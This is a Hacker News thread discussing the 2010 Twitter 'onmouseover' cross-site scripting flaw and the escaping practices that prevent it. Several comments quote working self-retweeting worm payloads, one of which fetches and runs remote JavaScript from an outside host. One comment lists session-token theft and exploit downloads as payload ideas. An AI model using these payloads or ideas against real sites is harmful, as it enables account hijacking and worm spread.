
Twitter 'onmouseover' security flaw widely exploited - mikecane
http://www.sophos.com/blogs/gc/g/2010/09/21/twitter-onmouseover-security-flaw-widely-exploited/
======
bl4k
I just wrote a proof-of-concept worm that steals session cookies. It spreads
by retweeting. If something like this was released it would spread like
wildfire.

Reminds me of the MySpace worm that took the site down

Time to change your passwords!

(Edit: I will post the vuln code once this is patched. Atm I am playing with
having the payload make Ajax queries back to Twitter :). Having shortcut
functions in the page (ie. $() to grab an element), url shorteners and ability
to include external JS mean that you can do almost anything in the 140 char
payload.

Explainer:

The vulnerability is because URL's are not being escaped properly. For eg. the
following URL is posted to Twitter:

    
    
      http://thisisatest.com/@"onmouseover="alert('test xss')"/
    

Twitter treats this as the URL. When it is parsed Twitter wraps a link around
that code, so the HTML now looks like:

    
    
      <a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 
    

You can see that by putting in the URL and the trailing slash, Twitter thinks
it has a valid URL even though it contains a quote mark in it which allows it
to escape the URL attribute and include a mouse over. You can write anything
to the page, including closing the link and including a script element.

You don't have to use onmouseover. You could close the link and then insert
some external javascript that can re-write your tweet to make it look innocent
(or hide that entire tweet), then attach a mousemove event to the body
document. This means you could propagate a worm silently and without requiring
a mouseover on the actual tweet.

(edit: pretty concerned about the number of people here who think that being
able to inject javascript on a site in the context of a users session is not a
big deal)

~~~
Tichy
What is the significance of the "@"? Is it because once they encounter the @,
they split into a different parsing routine (for example to link @replies)?

~~~
js2
If you look at the regex they were using, once it sees an @, it then scans
forward until it encounters a /, which is what let's you sneak in anything
after the @ other than a /.

------
avar
I got one with this content:

    
    
        http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
    

With the URL expanding to:

    
    
        http://is.gd/fl9A7
    

Which is a 301 redirect to:

    
    
        http://lexasoft.jino-net.ru/up1415.js
    

Which has the content:

    
    
        $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/");
        $('.status-update-form').submit();
    

So at least that one does nothing more than propagate itself, but it would be
really easy to write one that's more harmful to users.

~~~
Cushman
Correction: That one does nothing more than execute whatever is at that url.
So _right now_ it's only self-propagating.

------
chrisbroadfoot
I wrote one that spreads unicorns. It's awesome!

I couldn't figure out how to style it up, and I'm not so cruel as to force
retweets.

Screenshot: <http://www.flickr.com/photos/broadyau/5011139993/>

Live: <http://twitter.com/broady>

~~~
niekmaas
Maybe I'm doing something wrong but it doesn't work for me. All I see is the
code you pasted including the jQuery code. At least for me the flaw seems to
be fixed.

~~~
chrisbroadfoot
Hm - still works for me. The script takes a bit to load.

1\. bit.ly redirect 2\. run javascript hosted on github:
<http://github.com/broady/twitter-xss/blob/master/x.js> 3\. load cornify.js

------
tomafro
It looks like twitter have fixed the issue in their own tweet parsing library,
but not deployed the fix (to old twitter at least).

Here's the relevant commit: [http://github.com/mzsanford/twitter-text-
rb/commit/cffce8e60...](http://github.com/mzsanford/twitter-text-
rb/commit/cffce8e60b7557e9945fc0e8b4383e5a66b1558f) (thanks to Paul Battley
for finding it).

~~~
jerf
That's still the wrong approach (if it's the only part of the solution) and I
wouldn't be surprised that there's still a problem in there somewhere. That's
the entirely wrong place to deal with this. The correct solution is the moral
equivalent of "<a href='" + html_escape(url) + "'>", where "html_escape"
converts the URL into a properly encoded HTML string regardless of contents,
and for simplicitly I'm assuming some other cleansing process has run on the
url elsewhere (to ensure http: or https: is the only legal beginning, etc).
(This is the way you ensure you don't get XSS in your link. Other security
properties that you may desire, such as controlling what the user can link to,
get enforced elsewhere.)

Then it simply doesn't matter what the user has managed to get down to the
link generation code, the html_escape code should at least ensure that the
user is stuck in the link itself. There are some paranoia things such a
function should still do, such as remove all characters that are not legal in
links or removing all invalid characters (incorrect UTF-8, for instance),
consult the relevant standards standard for a full description. But this is
still way easier and therefore more likely to correctly avoid XSS than trying
to pick up all possible badness at the parse step.

It continues to astonish me how hard people make this and how much developers
resist being told that their code is problematic, and how surprised they are
when their site gets taken down by the stupidest errors....

Also, if at all possible, I strongly endorse environments where you don't
literally type "<a href='" + html_escape(url) + "'>", because you will forget
the html_escape. There are a variety of ways to reach this goal, depending on
language.

~~~
Tichy
I don't understand what they are doing? I don't recall @ having special
significance in a URL?

I can only guess that they have two separate steps for transforming URLs into
links and transforming @replies into links. Then they first run the URL
transformer and then the @replies transformer, which would of course mess up
the URL.

I have solved that problem in one of my Twitter apps (transforming both in one
go), maybe I should send them a code snippet...

~~~
js2
They are trying to match URLs so that they can turn them into links. The @
character is valid in a URL. What I don't understand is why they don't URL
encode the matching text.

------
mike-cardwell
If you get caught, just log into twitter via
<http://www.accessibletwitter.com/> to delete the item it posts.

~~~
paraschopra
Nice social engineering trick :)

[PS: Just kidding]

~~~
TomasSedovic
At the risk of being too literal:

You don't give the site your username & password. It uses OAuth to log in to
Twitter.

------
swombat
As far as XSS vulnerabilities goes, this one is the size of the Gulf of
Mexico. How exactly did they manage to let this one through? (Even more
puzzling, it looks like this is special link-parsing functionality that
someone had to actually write explicitly to make it work)

~~~
eli
As linked to elsewhere, here's exactly how it looks:
[http://github.com/mzsanford/twitter-text-
rb/commit/cffce8e60...](http://github.com/mzsanford/twitter-text-
rb/commit/cffce8e60b7557e9945fc0e8b4383e5a66b1558f)

------
corin_

      http://t.co/@onmouseover=document.getElementById(status).value=RT CorinCole';$('.status-update-form').submit();"font-size:500pt;/

------
eli
_Right now you might be safer using a third-party Twitter client rather than
the Twitter.com website._

Hmm, I wonder how many web-based twitter clients and widgets have similar
vulnerabilities. I bet quite a few.

~~~
flyosity
There's also a huge host of Webkit-based Mac Twitter apps that might be
affected by this. Hibari is one.

------
jdub
I wouldn't be terribly surprised, based on the timeline of exploits I've seen,
if the wider abuse of this is due to the _incredibly_ stupid exploit
demonstration at the launch of @RainbowTwtr.

My related tweets from earlier tonight... ah, about the RainbowTwtr angle, not
exploited tweets! :-)

<http://twitter.com/jdub/status/25106766206>
<http://twitter.com/jdub/status/25112834543>

~~~
jrockway
Why is it stupid to tell people how insecure their favorite messaging platform
is? So when they get hacked, they will have to wonder why? Sounds like a great
plan...

~~~
jdub
If by "tell" you do not mean a cynical public reveal for the sake of product
promotion and by "people" you mean the organisation running the platform
(Twitter), I'd agree with you. :-)

------
vanschelven
Am I right to understand that Twitter does no JavaScript escaping whatsoever
in a particular anchor tag?

In that case it surprises me that this has not been found before

------
pornel
This is why HTML templating engines should HTML-escape all variables by
default.

Probably developer writing Twitter's template forgot to add escape call or
thought that URL is a harmless ASCII thing and doesn't need escaping.

~~~
jasonkester
No, it's just why _developers_ should HTML-escape all user-contributed content
before displaying it.

Building it into the templating engine just punishes all the devs who know
what they're doing. Look at the history of things like MAGIC_QUOTES_RUNTIME to
see what happens if you go down that route.

~~~
pornel
Clearly relying on developers to remember to escape didn't work (it's not
first XSS and not last).

I don't think it's anything like magic quotes. It's more like prepared
statements.

Magic quotes was enormous failure because it worked on input rather than
output. In HTML-specific output code having HTML-escaping is just fine.

Lack of escaping enables worms and error isn't immediately visible. Double
escaping is quickly visible, and it's harmless, which is why I think not
trusting variables in HTML is a better default.

~~~
jasonkester
As soon as you start auto-escaping everything, you need to introduce a
dontEscapeThis() method that you can use to actually render the HTML you
intended.

Having to do that would be enough to make me ditch any framework in favor of
one that treats me like a grownup.

~~~
jrockway
Not true.

What you need is a type system. All data that comes from the user is of type
UnescapedUserString. When the templating system sees this, it escapes it when
written as HTML. Strings that you type into your program that you don't want
to be escaped are of type EscapedString. Add some concatenation rules, and
you're done.

If you were using Haskell, you wouldn't even need to change much code to do
this, thanks to overloaded strings.

------
malte
Ok, sorry if this question seems amateurish, but I don't quite understand this
exploit. I went to my twitter page and it automatically posted a tweet, tried
to send DMs etc. A lot of weird stuff was going on so I closed the tab
immediately and looked for information on this.

Does it mean my account is somehow affected or is it just someone in my
timeline who posted this exploit?

Edit: Maybe 'affected' is the wrong term. After reading the article again, I
think this code just has to be in my timeline to work. Please correct me if
I'm wrong.

~~~
ifesdjeen
download any non-web client (i suppose even mobile one will work, but non-
javascript one), and remove all the messages that were posted by that script.
use non-web clients for reading and posting tweets for next day or two. to be
on a safe side, avoid using web version of client for several days, at least
until it all gets figured out by twitter guys.

------
teoruiz
They are tweeting this from the official "@safety" account:

 _We've identified and are patching a XSS attack; as always, please message
@safety if you have info regarding such an exploit._

<http://mobile.twitter.com/safety/status/25118959058>

------
Jem
I called this 3 hours ago - do I get a cookie? :)

~~~
Jem
Oh yes, I forgot HN doesn't like humour. I knew I shouldn't have taken
maternity leave.

------
nakkiel
I got the Quine which changes the color and background color of the post to
black. I initially though it was some sort of art. I admit I'm totally
disappointed.

    
    
        http://a.no/@onmouseover=;$(textarea:first).val(this.innerHTML);$(.status-update-form).submit() style="color:#000;background:#000;/

------
Swizec
This is what it posts "<a
href="[http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT...](http://a.no/@onmouseover=;$\(textarea:first\).val\(this.innerHTML\);$\(.status-
update-form\).submit\(\)) style="color:#000;background:#000;/" class="tweet-
url web" rel="nofollow"
target="_blank">[http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT...](http://a.no/@onmouseover=;$\(textarea:first\).val\(this.innerHTML\);$\(.status-
update-form\).submit\(\)) style="color:#000;background:#000;/</a>"

It's not a huge security flaw, just some (this time) harmless javascript
injection. What it does is it fires a mouseover event, then fills the main
textarea with itself and clicks submit.

Elegant and bloody lovely.

Also very easy for twitter to fix.

~~~
vanschelven
How is JavaScript injection not a huge security flaw? JavaScript injection ->
acquire session -> basically anything (within the context of twitter)

~~~
thenduks
It's clearly a huge security flaw, but as you say -- only within the context
of twitter. Looking at the big picture of my life something like this doesn't
even register. What's the worst thing that could happen, really? A popup?
Maybe my account gets stolen somehow? Some garbage tweets in my timeline that
I delete later with a non-web client? All of the sudden I'm following some
spammers... I'd get over it.

~~~
semanticist
You could send a DM to everyone you know with an shortened URL that links to a
page full of malware and evil that pwns their computer, steals all their data
and account log ins, and uses their machine as part of a botnet.

Because the DM would come from you, a person they know, the person is more
likely to trust the page or file that's linked to and less likely to catch it
brutalising their computer.

The actual data on your Twitter account might not be valuable in itself, but
it has significant value as a vector for other attacks.

------
ivey
It's patched now.

------
CyrilMazur
ahah well done, see that nobody's safe from flaws...

------
itistoday
Amusing botched attempt at identity protection in the second image:

[http://www.sophos.com/images/blogs/gc/2010/09/onmouseover-
po...](http://www.sophos.com/images/blogs/gc/2010/09/onmouseover-popup.jpg)

(hint: see URL or titlebar)

------
sixohsix
I just ran into this and it's amazing. The one I caught was an onmouseover
that automatically propagates itself. Perhaps the world's first Javascript
virus.

~~~
quadhome
samy is my hero

<http://namb.la/popular/>

------
rsbrown
Relatively harmless as viruses go, so I have to admit to being a bit excited
at watching a little bit of internet history unfold.

EDIT: mea culpa, you're quite right -- the potential for this is disastrous in
terms of CSRF attacks and so on. I was thinking about this particular
implementation that appeared to simply be propagating itself.

~~~
bl4k
not harmless at all? this can do so much damage because you can run javascript
in the context of the users session. some ideas for payloads:

* login as that user by sending yourself their session token

* scrape email addresses

* follow a spam account

* popup an affiliate site

* trigger a download or one of the new flash exploits to gain access to the local system

your code has to fit within 140 chars, but you can use the libraries that
Twitter has included in the page (like $()) to grab elements and make Ajax
calls to their backend.

This is a shocker.

~~~
robryan
Will the session token work just like that? Each session might be tied to a
specific IP address or something.

~~~
user24
tying things to specific IP address isn't a good idea. Some ISPs rotate
outbound IP addresses on a per-connection basis. As in, when you refresh, you
might be coming from a different IP. I think AOL first did this some years
ago. It's a real shame.

